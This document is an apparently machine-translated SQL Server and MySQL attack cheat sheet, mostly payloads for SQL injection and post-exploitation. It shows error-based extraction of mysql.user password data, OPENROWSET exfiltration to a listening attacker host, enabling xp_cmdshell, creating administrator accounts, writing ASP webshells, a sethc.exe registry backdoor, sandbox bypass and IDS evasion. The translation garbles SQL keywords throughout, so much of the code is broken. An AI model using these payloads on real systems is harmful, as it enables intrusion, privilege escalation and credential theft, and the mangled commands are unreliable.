Parooli räsi, mis kopeerib räsitabeli (HASH) sisselogimise _blank> parooli, salvestatakse sysxlogins'i. Siin on, kuidas: insert into OPENROWSET(SQLOLEDB,
uid=sa; pwd=123; Network=DBMSSOCN; Aadress=192.168.0.1,1433; , vali * _blank>_sysxlogins)
Vali * andmebaasi.dbo.sysxlogins hulgast Kui saad räsi kätte, saad selle jõuga teha.
Kataloogi läbimiseks: Esmalt loo ajutine tabel: temp ; loo tabel temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); – ; sisesta temperatuuri täitev master.dbo.xp_blank>_availablemedia; – Hangi kõik praegused kettad ; sisesta temp(id) exec master.dbo.xp_blank>_subdirs c:\; – Hangi alamkataloogide nimekiri ; sisesta temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\; – Hangi kõigi alamkataloogide kataloogipuu struktuur,
Ühenda tollid temperatuuri tabelisse ; sisesta temp(id) exec master.dbo.xp_blank>_cmdshell tüüp c:\web\index.asp; – Vaata faili
Sisu ; insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\; – ; sisesta temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\ *.asp /s/a; – ; insert into temp(id) exec master.dbo.xp_blank>_cmdshell cscrip{filter}t C:\Inetpub\Adminscrip{filter}ts
\adsutil.vbs enum w3svc ; sisesta temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\; – (xp_blank>_dirtree Kohaldatav volitus
AVALIK) Kirjuta lauale: väide 1: ja 1=(Vali IS_blank>_SRVROLEMEMBER(süsteemiadministraator)); – Väide 2: ja 1=(Vali IS_blank>_SRVROLEMEMBER(serveradmin)); – Väide 3: ja 1=(Vali IS_blank>_SRVROLEMEMBER(setupadmin)); – Väide 4: ja 1=(Vali IS_blank>_SRVROLEMEMBER(securityadmin)); – Väide 5: ja 1=(Vali IS_blank>_SRVROLEMEMBER(securityadmin)); – Väide 6: ja 1=(Vali IS_blank>_SRVROLEMEMBER(diskadmin)); – Väide 7: ja 1=(Vali IS_blank>_SRVROLEMEMBER(bulkadmin)); – Väide 8: ja 1=(Vali IS_blank>_SRVROLEMEMBER(bulkadmin)); – Väide 9: ja 1=(Vali IS_blank>_MEMBER(db_blank>_owner)); –
Kirjuta tee tabelisse: ; Loo tabel dirs(paths varchar(100), id int)– ; Lisa DIRS Exec master.dbo.xp_blank>_dirtree C:\– ja 0<>(vali DIRS-ist Top 1 rajad)– ja 0<>(vali DIRS-ist top 1 rajad, kus rajad ei ole (@Inetpub)))– ; loo tabel dirs1(paths varchar(100), id int)– ; Lisa DIRS-i juht master.dbo.xp_blank>_dirtree e:\web– ja 0<>(vali DIRS1 Top 1 rajad)–
Varundage _blank> andmebaas veebikataloogi: Laadige alla ; kuulutada @a sysname; komplekt @a=db_blank>_name(); varundusandmebaas @a disk=e:\web\down.bak; –
ja 1=(Vali top 1 nimi hulgast(Vali top 12 id, nimi sysobjectsist, kus xtype=char(85)) T
Tellimus: id Desc) ja 1=(Vali Top 1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) sysobjectsist) Vaata ka
Seotud tabelid. ja 1=(vali user_blank>_id USER_blank>_LOGIN hulgast) ja 0=(vali kasutaja USER_blank>_LOGIN kus kasutaja>1)
-=- wscrip{filter}t.shell näide -=- deklareeri @o intellekt exec sp_blank>_oacreate wscrip{filter}t.shell, @o out täitja sp_blank>_oamethod @o, jookse, NULL, notepad.exe ; declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,
NULL, notepad.exe–
declare @o int, @f int, @t int, @ret int deklareeri @line varchar (8000) exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out Exec sp_blank>_oamethod @o, opentextfile, @f välja, c:\boot.ini, 1 exec @ret = sp_blank>_oamethod @f, readline, @line out while( @ret = 0 ) Alusta Prindi @line exec @ret = sp_blank>_oamethod @f, readline, @line out Lõpp
declare @o int, @f int, @t int, @ret int exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out exec sp_blank>_oamethod @o, createtextfile, @f out, c:\inetpub\wwwroot\foo.asp, 1 exec @ret = sp_blank>_oamethod @f, writeline, NULL, <% set o = server.createobject("wscrip{filter}t.shell"): o.run( request.querystring("cmd") ) %>
declare @o int, @ret int Exec sp_blank>_oacreate speech.voicetext, @o välja exec sp_blank>_oamethod @o, register, NULL, foo, bar Exec sp_blank>_oasetproperty @o, kiirus, 150 exec sp_blank>_oamethod @o, räägi, NULL, kõik su järjeserverid kuuluvad meile, 528 oota viivitust 00:00:05
; declare @o int, @ret int exec sp_blank>_oacreate speech.voicetext, @o out exec
sp_blank>_oamethod @o, register, NULL, foo, bar exec sp_blank>_oasetproperty @o, kiirus, 150 exec
sp_blank>_oamethod @o, räägi, NULL, kõik su järjeserverid kuuluvad meile, 528 ootab viivitust
00:00:05–
xp_blank>_dirtree vastavat AVALIKKU luba exec master.dbo.xp_blank>_dirtree c: tagastatud infol on kaks välja: alamkataloog, sügavus. Alamkataloogi väljad
Tähemärgi tüüp, sügavusväli on kujundamisväli. Loo tabel dirs(teed: varchar(100), id int) Tabeli koostamine, siin loodud tabel on seotud ülaltoodud xp_blank>_dirtree-ga, kus väljad on võrdsed ja sama tüüp. sisesta dirs exec master.dbo.xp_blank>_dirtree c: Kui ehitame tabeli ja defineerime salvestusprotsessi tagastatud väljad võrdselt
Täida! Tabelite kirjutamise efekti saavutamiseks tuleb samm-sammult saavutada soovitud info! See vea süstimine põhineb peamiselt Mysql andmetüübi ülevoolul mysql > SELECT 18446744073709551610 * 2 ; VIGA 1690 (22003): BIGINT UNSIGNED väärtus on vahemikust väljas '(18446744073709551610 * 2)'
mysql > SELECT - 1 * 9223372036854775808 ; VIGA 1690 ( 22003 ): BIGINT UNSIGNED väärtus on vahemikust väljas '(- (1) *
9223372036854775808)' Päringu andmebaasi versioon: mysql> SELECT * 2 (kui ((SELECT * from (SELECT (versioon ()) ) s), 18446744073709551610,
18446744073709551610)); VIGA 1690 (22003): BIGINT UNSIGNED väärtus on vahemikust väljas '(2 * if (( Select ' 5.5 'from
Dual), 18446744073709551610.18446744073709551610))' Hangi välja nimi: mysql> SELECT 2 * if((SELECT * from (select * from test.shop) as '' limit 1)>(SELECT * from
test.shop piir 1), 18446744073709551610, 18446744073709551610);
VIGA 1690 (22003): BIGINT UNSIGNED väärtus on vahemikust väljas '(2 * if(((select
'artikkel','dealer','price' (vali 'test'.'shop'.'article' AS
'artikkel','test'.'shop'.'dealer' AS 'dealer','test'.'pood'.'price' AS 'hind' from
'test'.'pood') piirang 1) > (vali
'test'.'pood'.'artikkel','test'.'pood'.'müüja','test'.'pood'.'hind' 'test'.'poe' piir
1)),18446744073709551610,18446744073709551610))' Hangi välja väärtus:
mysql> SELECT 2 * if((SELECT * from (select * from (mysql.user) LIMIT 1) kui '' limit 1) <
(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),
18446744073709551610, 18446744073709551610);
VIGA 1690 (22003): BIGINT UNSIGNED väärtus on vahemikust väljas '(2 * if(((select
'localhost','root','*','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','
Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','','','','0','','' DUELTPIIR 1)
<
(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2)),184467440
73709551610,18446744073709551610))'
Pane tähele, et see meetod ei tööta vanemate MySQL versioonidega ning peate teadma veateate pikkuse piiri, sest see määrab
Võid saada nii kaua kui soovid: Mysys / my_error.c
/* Veateate maksimaalne pikkus. Peaks olema sünkroonis MYSQL_ERRMSG_SIZE. */ #define ERRMSGSIZE (512)
Kui objekt on MariaDB (MySQL haru), võid ülaltoodud meetodil näha sellist veateadet:
mysql> SELECT 2*(if((SELECT * from (SELECT (version()))s), 18446744073709551610,
18446744073709551610)) VIGA 1690 (22003): BIGINT UNSIGNED väärtus on vahemikust väljas '(2 * if((select
#),18446744073709551610,18446744073709551610))'
Lahendusena saab selle probleemi lahendada järgmiselt:
mysql> SELECT (i EI OLE NULL) - -9223372036854775808 FROM (SELECT (versioon())i)a; ERROR 1690 (22003): BIGINT väärtus on vahemikust väljas '(('5.5-MariaDB' ei ole null) - -
(9223372036854775808))' Nüüd vaatame, kas saame oma vektori veidi lühemaks teha
//查询数据库版本
SELECT 2*(if((SELECT * from (SELECT (version()))s), 18446744073709551610,
18446744073709551610)) = select 1E308*if((select*from(select version())x),2,2)
SELECT (i EI OLE NULL) - -9223372036854775808 FROM (SELECT (versioon())i)a = vali if(x,2,2)*1E308 from(select version()x)y
//获取表字段名称 SELECT 2 * if((SELECT * from (select * from test.shop) as '' limit 1)>(SELECT * from
test.shop piir 1), 18446744073709551610, 18446744073709551610) = select 1E308*if((select*from(select*from mysql.user)''limit 1)>(select*from mysql.user limit
1),2,2)
//获取字段值
SELECT 2 * if((SELECT * from (select * from (mysql.user) LIMIT 1) kui '' limit 1) <
(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5 ,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),
18446744073709551610, 18446744073709551610) = select 1E308*if((select*from(select*from mysql.user LIMIT 1)''limit 1)<(select*from
mysql.user limit 0),2,2)
//获取指定字段的值 select 1E308*if((select user|| saatejuht|| parool|| file_priv from(select*from mysql.user LIMIT)
1) piir 1),2,2)
//获取字段个数
select 1E308*if((select*from mysql.user limit 1)>(select 1),2,2)
Mõned muud deformatsioonid
SELECT (i EI OLE NULL) - -9223372036854775808 FROM (SELECT (versioon())i)a select 1E308*if((select user|| saatejuht|| parool|| file_priv from(select*from mysql.user LIMIT)
1) piir 1),2,2); => select 2*if((select user|host|password|file_priv from(select*from mysql.user LIMIT 1)a limit
1),1e308,0); mysql> select (select * from mysql.user)=1; MySQL> select (select * from mysql.user)in(1);
VIGA 1241 (21000): Operandil peaks olema 42 veergu select 2*if((select user|host|password|file_priv from(select*from mysql.user LIMIT 1)a limit
1),1e308,0); vali if((vali kasutaja|| saatejuht|| parool|| file_priv from(select*from mysql.user LIMIT 1)a
piir 1),2,2)*1E308 SELECT (i EI OLE NULL) - -9223372036854775808 FROM (SELECT (versioon())i)a select (x!=0x00)--9223372036854775808 from(SELECT versioon()x)y mysql> select!x-~0.FROM(select+user()x)f; VIGA 1690 (22003): BIGINT UNSIGNED väärtus on vahemikust väljas '((not('root@localhost'))) - ~
(0))' 3. Hinda andmebaasisüsteemi ; ja (select count(*) sysobjectsist)>0 mssql ; ja (select count(*) msysobjectsist)>0 ligipääs 4. Süstimisparameeter on tegelane 'ja [päringukriteeriumid] ja ''=' 5. Otsingu ajal ei ole filtreeritud parameetreid 'ja [päringukriteeriumid] ja '%25'=' 6. Arva ära andmebaas ; ja (vali Count(*) [andmebaasi nimi])>0 7. Arva välja väli ; ja (vali Count(välja nimi) andmebaasi nimest)>0 8. Arva väljal oleva rekordi pikkus ; ja (vali top 1 lens (välja nimi) andmebaasi nimest)>0 9. (1) Arva välja ASCII väärtus (ligipääs) ; ja (vali top 1 ASC (mid(field name, 1,1)) andmebaasi nimest)>0 (2) Arva välja ASCII väärtus (mssql) ; ja (vali top 1 unicode(alamstring(välja nimi, 1,1)) andmebaasi nimest)>0 10. Testilubade struktuur (mssql) ; ja 1=(vali IS_SRVROLEMEMBER('süsteemiadministraator')); -- ; ja 1=(vali IS_SRVROLEMEMBER('serveradmin')); -- ; ja 1=(vali IS_SRVROLEMEMBER('setupadmin')); -- ; ja 1=(vali IS_SRVROLEMEMBER('securityadmin')); -- ; ja 1=(vali IS_SRVROLEMEMBER('diskadmin')); -- ; ja 1=(vali IS_SRVROLEMEMBER('bulkadmin')); -- ; ja 1=(vali IS_MEMBER('db_owner')); -- 11. Lisa konto mssql-i ja süsteemi jaoks ; juht master.dbo.sp_addlogin kasutajanimi; -- ; exec master.dbo.sp_password null, kasutajanimi, parool; -- ; juht master.dbo.sp_addsrvrolemember süsteemiadministraatori kasutajanimi; -- ; Exec master.dbo.xp_cmdshell 'Net User Username Password /Workstations:* /Times:All
/passwordchg:yes /passwordreq:yes /active:yes /add';-- ; exec master.dbo.xp_cmdshell 'netikasutaja kasutajanimi parool /lisa'; -- ; Exec master.dbo.xp_cmdshell 'Net LocalGroup Administrators kasutajanimi /add'; -- 12. (1) Kataloogi läbimine ; Loo tabel dirs(teed: varchar(100), id int) ; Lisa DIRS-i juht master.dbo.xp_dirtree 'c:\' ; ja (vali DIRS-ist Top 1 rajad)>0 ; ja (vali DIR-idest top 1 teed, kus teed ei ole ('teed, mis on saadud eelmisest sammust')))>) (2) Kataloogi läbimine ; loo tabel temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); -- ; sisesta temp exec master.dbo.xp_availablemedia; -- Hangi kõik praegused kettad ; sisesta temp(id) exec master.dbo.xp_subdirs 'c:\'; -- Hangi nimekiri alamkataloogidest ; sisesta temp(id,num1) exec master.dbo.xp_dirtree 'c:\'; -- Hangi kõigi alamkataloogide kataloogipuu struktuur ; sisesta temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp'; -- Vaata faili sisu 13. Salvestatud protseduurid mssql-is xp_regenumvalues Registri juurvõti, lapsvõti ; xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' ja palju muud
rekordkomplekti meetod kõigi võtmeväärtuste tagastamiseks xp_regread Juurvõti, lapsvõti, võtme-väärtuse nimi ; exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows
\CurrentVersion', 'CommonFilesDir' tagastab formuleerimisvõtme väärtuse xp_regwrite Juurvõti, lapsvõti, väärtuse nimi, väärtuse tüüp, väärtus On kahte tüüpi väärtustüüpe REG_SZ REG_DWORD tähemärkide tüübid ja täisarvud ; exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows
\CurrentVersion','TestvalueName','reg_sz','hello' kirjutatakse registrisse xp_regdeletevalue Juurvõti, alamvõti, väärtuse nimi exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows
\CurrentVersion', 'TestvalueName', et eemaldada väärtus xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' kustutamisvõti,
Lisa kõik väärtused selle võtme alla 14. MSSQL varukoopia loob veebishelli Kasutusmudel loo tabel cmd(str image); insert into cmd(str) väärtused ('<% Dim oscrip{filter}t %>'); varundusandmebaasi mudel disk='c:\l.asp'; 15. mssql sisseehitatud funktsioonid ; ja (vali @@version)>0, et saada Windowsi versiooninumber ; ja user_name()='dbo', et määrata, kas praeguse süsteemi ühendatud kasutaja on SA ; ja (vali user_name()))>0 Plahvatas praeguse süsteemi ühendatud kasutajad ; ja (vali db_name()))>0, et saada hetkel ühendatud andmebaas 16. Lühike veebikest Kasutusmudel loo tabel cmd(str image); sisesta cmd(str) väärtused ('<%=server.createobject("wscrip{filter}t.shell").exec("cmd.exe /c
"&request("c")).stdout.readall%>'); varundusandmebaasi mudel disk='g:\wwwtest\l.asp'; Tellimisel kasuta midagi sellist:
http://ip/l.asp?c=dir ================================================================================================
================================================================================================
================================================================================================
================================================================================================
============================ Hangi kõik andmebaasinimed, sealhulgas süsteemiandmebaasid –VALI nimi master.dbo.sysdatabases'ist
– Hangi kõik mitte-süsteemi andmebaasinimed –vali [nimi] master.dbo.sysdatabases, kus DBId>6 Tellimus [Nime] järgi
– Hangi kogu info, sealhulgas andmebaasifaili aadress –vali * master.dbo.sysdatabases, kus DBId>6 Järjekord järgi
[Nimi]
See lausepäring tagastab kõik kasutajatabelid
Vali * sysobjects'ist, kus xtype='u'
Otsi kogu süsteemi andmetabeli infot
Vali * sysobjects'ist
Vaata masina nime Vali * sys.serveritest
Veeru sisukord Täitevjuht master.dbo.xp_subdirs 'C:\'
Exec master.dbo.xp_dirtree 'C:',1,1 db_owner Õigusi saab jõustada
exec master.dbo.xp_dirtree 'c:/Program Files',1,1
Programmkood, kirjutatud webshelli
täitja master.dbo.xp_subdirs 'd:\web\www.xx.com'; Täitevjuht sp_makewebtask 'd:
\web\www.XXXX.com\XX.asp','select"<%execute(request("SB"))%>"
Täitke meister.. xp_enumgroups
Traverse-süsteemi kasutajad
Täitke meister.. xp_getnetname Hangi praegune masina nimi
--Loetle serveris fikseeritud kettad koos iga ketta vaba ruumiga dbo avalik
execute
xp_ntsec_enumdomains
-- Loo konto, et MSSQL-i sisse logida tegevjuht master.dbo.sp_addlogin nimi, pass; --
-- Loetle serveri domeeninimi xp_ntsec_enumdomains // Masina nimi //dbo avalik
-- Teenuse peatamine või käivitamine xp_servicecontrol 'stop', 'schedule' //schedule on teenuse nimi //dbo
--Kasuta pid-i
Peata käivitav programm xp_terminate_process 123 //123 on PID //dbo
-- Kataloogis on loetletud ainult alamkataloogid dbo.xp_subdirs 'C:' //dbo
SQL Server xp_cmdshell avamise meetod 2005. aastal EXECUTIVE sp_configure 'näita täpsemaid valikuid', 1; RECONFIGURE; TÄITEVJUHT
sp_configure 'xp_cmdshell', 1; RECONFIGURE;
SQL2005 Ava 'OPENROWSET' Toetatud meetodid: Exec sp_configure 'näita täpsemaid valikuid', 1; RECONFIGURE; tegevjuht sp_configure 'Ad Hoc
Levitatud päringud',1; RECONFIGURE;
SQL2005 'sp_oacreate' toe lubamiseks: Exec sp_configure 'näita täpsemaid valikuid', 1; RECONFIGURE; tegevjuht
sp_configure 'Ole automatiseerimise protseduurid',1; ÜMBERSEADISTA
Kuidas lubada xp_cmdshell SQL Server 2008-s
-- Et võimaldada täiustatud valikuid muuta. TÄITEVJUHT
sp_configure 'näita täpsemaid valikuid', 1 MINE -- Et uuendada hetkel konfigureeritud väärtust
Edasijõudnud valikud. ÜMBERSEADISTA MINE -- Funktsiooni lubamiseks. JUHT sp_configure 'xp_cmdshell', 1 MINE -- Et
Uuenda selle funktsiooni hetkel konfigureeritud väärtust. ÜMBERSEADISTA MINE
Exec xp_cmdshell 'ipconfig'
Täna tahtsin muuta andmebaasi serveri SA sisselogimisparooli, kuid unustasin äkki, nii et pidin koos teiste kontodega AV analüsaatori avama, et SA parooli muuta
See on väga lihtne:
Täitmine: sp_password Null, 'teracypwd,'sa' Sea SA parool "teracypwd"
Pärast edukat hukkamist
Seal on "Käsk(id) edukalt lõpetatud." OK!
andmebaasi õiguses eralda MSSQL andmebaasiserveri IP saamise meetod
1. Kohalik NC kuulab NC -VVLP 80
2.; sisesta sisse
OPENROWSET('SQLOLEDB','uid=sa; pwd=xxx; Network=DBMSSOCN; Aadress=sinu IP, 80; ', 'vali *
dest_table') vali * src_table; --
vali * openrowsetist
('sqloledb','server=125.110.145.130,6789; uid=sa; pwd=zhu','vali kasutaja; ')
Andmebaasi import ja eksport
/*不同服务器数据库之间的数据操作*/
--Loo lingiserver Juht sp_addlinkedserver
'ITSV', 'SQLOLEDB', 'Kaugserveri nimi või IP-aadress' sp_addlinkedsrvlogin 'ITSV', 'vale
',null, 'kasutajanimi', 'parool'
--päringu näide vali * ITSV.database name.dbo.table name
--impordi näide vali *
tabelisse ITSV.databasename.dbo.tablename
--Kustuta lingitud server, kui seda tulevikus enam ei kasutata 'ITSV' sp_dropserver tegevjuht,
'droploginid'
-- Ühenduse loomine kaug-/LAN andmetega (openrowset/openquery/opendatasource) --1、openrowset
--päringu näide vali *
aadressilt openrowset( 'SQLOLEDB', 'SQL serveri nimi'; 'Kasutajanimi'; 'password', andmebaasi nimi.dbo.tabeli nimi)
-- Genereeri lokaalne tabel vali * tabelisse openrowset( 'SQLOLEDB', 'SQL Server Name'; 'Kasutajanimi'; 'Parool', number
Andmebaasi name.dbo. tabeli nime järgi)
-- Impordi kohalik tabel kaugtabelisse insert openrowset( 'SQLOLEDB', 'SQL Server Name'; 'Kasutajanimi'; 'Paroolid', andmebaasid
name.dbo.table name) vali *kohalikust tabelist
-- Kohalike tabelite uuendamine Uuendus B hulk b. veerg A = a aadressilt openrowset( 'SQLOLEDB', 'SQL serveri nimi'; 'Kasutajanimi'; '
parool ', andmebaasi nimi .dbo.table name) sisemise liitumiskoha tabelina b a.veerg1=b.veerg1
--openquery Kasutamine nõuab ühenduse loomist
--Kõigepealt loo ühendus, et luua lingiserver sp_addlinkedserver 'ITSV' ', ' ',
'SQLOLEDB', 'kaugserveri nimi või IP-aadress' --Uuri vali * FROM openquery(ITSV, 'SELECT * FROM andmetest
library.dbo.table name ') -- Impordi kohalik tabel kaugtabelisse Lisa openquery(ITSV, 'VALI * hulgast database.dbo.table name') Vali * kohalikust
Tabel --uuenda kohalikku tabelit Uuendus B hulk b. veerg B=a FROM openquery(ITSV, 'SELECT * FROM database.dbo.tablename')
kui sisemine liitmine lokaalne tabel b a. veerg A=b. veerg A
--3、opendatasource/openrowset SELECT * ALLIKAST
opendatasource( 'SQLOLEDB ', 'Data Source=ip/ServerName; Kasutaja ID=Sisselogimisnimi; Parool=Parool '
).test.dbo.roy_ta -- Impordi kohalik tabel kaugtabelisse
xp_cmdshell kustutamine ja taastamine
Viisid taastumiseks xp_cmdshell Kustuta pikendatud salvestatud protseduur xp_cmdshell
Avaldus Juht sp_dropextendedproc 'xp_cmdshell'
Taasta cmdshelli SQL-lause exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
tegevjuht
master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll'; vali count(*) hulgast
master.dbo.sysobjects, kus xtype='x' ja Tulemus on 1 ja see on okei
Vastasel juhul pead üles laadima c:\inetput\web
\xplog70.dll hiljem Exec master.dbo.sp_addextendedproc 'xp_cmdshell','c:\inetput\web\xplog70.dll
’; --
Kui sa kustutad selle järgmisel viisil Drop-protseduur sp_addextendedproc Drop-protseduur sp_oacreate tegevjuht
sp_dropextendedproc 'xp_cmdshell'
Seda saab taastada järgmise lausega dbcc addextendedproc ("sp_oacreate","odsole70.dll") DBCC
addextendedproc ("xp_cmdshell","xplog70.dll")
Nii saab seda otse taastada, sõltumata sellest, kas sp_addextendedproc eksisteerib või mitte
1、 Kasuta xp_cmdshell: exec master.dbo.xp_cmdshell "net user admin admin /add" tegevjuht
master.dbo.xp_cmdshell "net localgroup administrators admin /add"
xp_cmdshell juhul kasuta sp_oacreate, et järgida sp_oamethod: deklareeri @object intellekti tegevjuht
sp_oacreate 'wscrip{filter}t.Shell', @object välja Juht sp_oamethod
@object,'Run',NULL,'net user admin admin /add' exec sp_oamethod @object,'Run',NULL,'net
localgroup Administraatorid admin /add'
Märkus: regsvr32 /s c:\windows\system32\wshom.ocx Start wscrip{filter}t.shell 3、 Kasuta sp_oacreate ja FSO-d deklareeri @o intellekt Juht sp_oacreate
'scrip{filter}ting.filesystemobject', @o välja exec sp_oamethod @o, 'copyfile',null,'c:\windows
\explorer.exe' ,'c:\windows\system32\sethc.exe'; deklareeri @oo intellekti tegevjuht
sp_oacreate 'scrip{filtering}ting.filesystemobject', @oo out Täitevjuht sp_oamethod @oo,
'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
Kasuta xp_regwrite (db_owner, taaskäivitamine vajalik): Tegevjuht master.dbo.xp_regwrite
'hkey_local_machine','software\microsoft\windows\currentversion\
run','eadd1','reg_sz','net user admin admin /add' Tegevjuht master.dbo.xp_regwrite
'hkey_local_machine','software\microsoft\windows\currentversion\
run','eadd2','reg_sz','net localgroup administrators admin /add' 5. Kasuta sp_add_job: tegevjuht
master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT' Kasuta MSDB Exec sp_delete_job
null,'x' Exec sp_add_job 'X' Tegevjuht sp_add_jobstep
Null,'x',Null,'1','CMDEXEC','cmd /c net user admin admin /add' Juht sp_add_jobserver
Null, 'x', @@servername exec sp_start_job 'x'
Paljud SA-d on edukad paljudes masinates otse liivakastirežiimi kasutades, aga mina pole seda kunagi harjutanud ja ei tea, mis on edukuse määr. Kui pikendus eemaldatakse, esmalt
Taasta lugemis- ja kirjutamissalvestus registrisse. dbcc addextendedproc ('xp_regread','xpstar.dll') DBCC addextendedproc
('xp_regwrite','xpstar.dll')
Parandatud liivakasti kaitstud režiim Täitevmeister.. xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet
\4.0\Engines','SandBoxMode','REG_DWORD',0; --
Vaata, kas 'SandBoxMode' väärtus on muutunud 0-ks.
EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 'TARKVARA
\Microsoft\Jet\4.0\Engines', 'SandBoxMode'
Lõpuks kutsuge liivakasti režiim vali * openrowset('microsoft.jet.oledb.4.0','; database=C:\WINDOWS
\system32\ias\dnary.mdb','select shell("cmd.exe /c net user passwd /add")')
Kui liivakasti kaitserežiim ei ole "väljas", teatatakse vea: Server: Msg 7357, tase 16, Olek 2, rida 1
Ebaõnnestus objekti 'select shell("cmd.exe /c net user passwd /add")' käsitlemine. OLE DB pakub programme
Eessõna 'microsoft.jet.oledb.4.0' näitab, et objektis pole veerge.
OLE DB veajälgimine [Mitte-liidese viga: OLE DB pakkuja ei suuda objekti töödelda, kuna objekt
on nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user
user passwd /add")']。
2、 Kui .mdb puudub või sisendtee on vale Server: Msg 7399, Tase 16, Olek 1, Rida 1
OLE DB provider 'microsoft.jet.oledb.4.0' viga. [OLE/DB teenusepakkuja tagastas sõnumi:
Faili 'C:\WINDOWS\system32\ias\dnary1.mdb' ei leitud. ]
OLE andmebaasi veajälitus [OLE/DB Provider 'microsoft.jet.oledb.4.0' IDBInitialize::Initialize tagastatud
0x80004005: ]。
3. Kui sisendprotsessis on rohkem tühikuid, teatatakse samuti veast. Pöörake sellele erilist tähelepanu – paljud inimesed otsivad artikleid otse internetist
Kleebi see sisse ja käivita see. Server: Msg 7357, tase 16, Olek 2, rida 1 Ebaõnnestus objekti 'select töötlemine
shell("cmd.exe /c netikasutaja passwd /add")'。 OLE DB pakkuja 'microsoft.jet.oledb.4.0' väidab, et objektil pole veerge.
OLE DB veajälgimine [Mitte-liidese viga: OLE andmebaasi pakkuja ei suuda objekti töödelda, kuna objekt on
nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user user
passwd /add")']。
4、 Kui mdb ja cmd.exe õigused on valed, tekib probleem samuti. Kui MDB õigused on valed, Server: Elimineeri
Intress 7320, tase 16, osariik 2, liin 1
Ta ei suutnud vastata OLE andmebaasi pakkuja 'Microsoft.Jet.OLEDB.4.0' täidab päringu. [OLE/DB pakkuja tagastatud
message: 未知] OLE DB veajälitus [OLE/DB pakkuja 'Microsoft.Jet.OLEDB.4.0'
ICommandText::Execute returned 0x80040e14]。
5. Kui võrguluba on vale, puudub vihje.
Viimane viis autoriteedi tõstmiseks on laadida süsteemi ias.mdb ja cmd.exe praeguse veebikataloogi alla, net.exe kolm faili.
Käivita select * from openrowset('microsoft.jet.oledb.4.0','; database=E:\web\ias.mdb','select shell
("E:\web\cmd.exe /c E:\web\net.exe kasutaja passwd /add")') Edukalt arvutikasutaja lisamine.
Cmdshelli jagamine möödub IDS-ist declare @a sysname set @a='xp_'+'cmdshell' exec @a 'ipconfig' deklareeri
@a sysname set @a='XP'+'_cm'+'dshell' exec @a 'dir c:\'
Muuda registri kaaperdamise nihke Täitevmeister.. xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT
\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows
\system32\cmd.exe on'; --
Küsi linkserverilt valima
srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam
e,isremote,rpc,dataaccess aadressilt master.dbo.sysservers valima
srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam
e,isremote,rpc,dataaccess aadressilt master.dbo.sysservers
Päring linkserver2 vali distinct hostname,db_name(dbid),net_address,loginame,program_name
Meister.. sysprocessesid
Küsi linkserverilt ja teised sisse logitud kasutajad vali * [192.168.1.1].master.dbo.syslogins
Query linkserver Kõik andmebaasid select * linkedSrvWeb.master.dbo.sysdatabases
Teosta laiendatud salvestusruumi LinkServeris Exec [IP].master.dbo.xp_cmdshell
Küsi kõiki tabeleid linkserveris Vali * from [ip].master.dbo.sysobjects
vali * openrowsetist
('sqloledb','server=IP; uid=kasutaja; pwd=password','select @@version')
select * from openquery([LINKSERVER
nimi],'vali @@version')
select * from openquery(NDOORS,'select IS_SRVROLEMEMBER(''sysadmin'')')
vali * openquery(GM_SERVER,'vali * sysobjects'ist, kus xtype = (''U'')')
Vali *
openquery(NDOORS,'Select IS_MEMBER(''db_owner'')')
select * from openquery(toatdeweb,'select
srvname pärit master.dbo.sysservers')
sisesta OpenDatasource'i
('sqloledb','server=222.241.95.12; uid=scd; pwd=a123520; database=hack520').hack520.dbo.zhu select
Nimi on pärit master.dbo.sysdatabases create database hack520 Create TABLE zhu(name nvarchar(256)
null); Loo TABEL J8(id int NULL,name nvarchar(256) null);
Vali * OpenQuery'st
(toatdeweb, 'lülita FMTonly välja master.dbo.xp_cmdshell ''netikasutaja''')
Täitevmeister.. xp_dirtree
'c:\',1,1 Tee päringukataloog
exec links.master.. xp_cmdshell 'ipconfig'
vali * from openquery(toatdeweb,'set
fmtonly off exec master.dbo.xp_cmdshell ''ipconfig /all''')
Ühenda mysql Select * Mem_DB-st. UserDB.dbo.AdminList
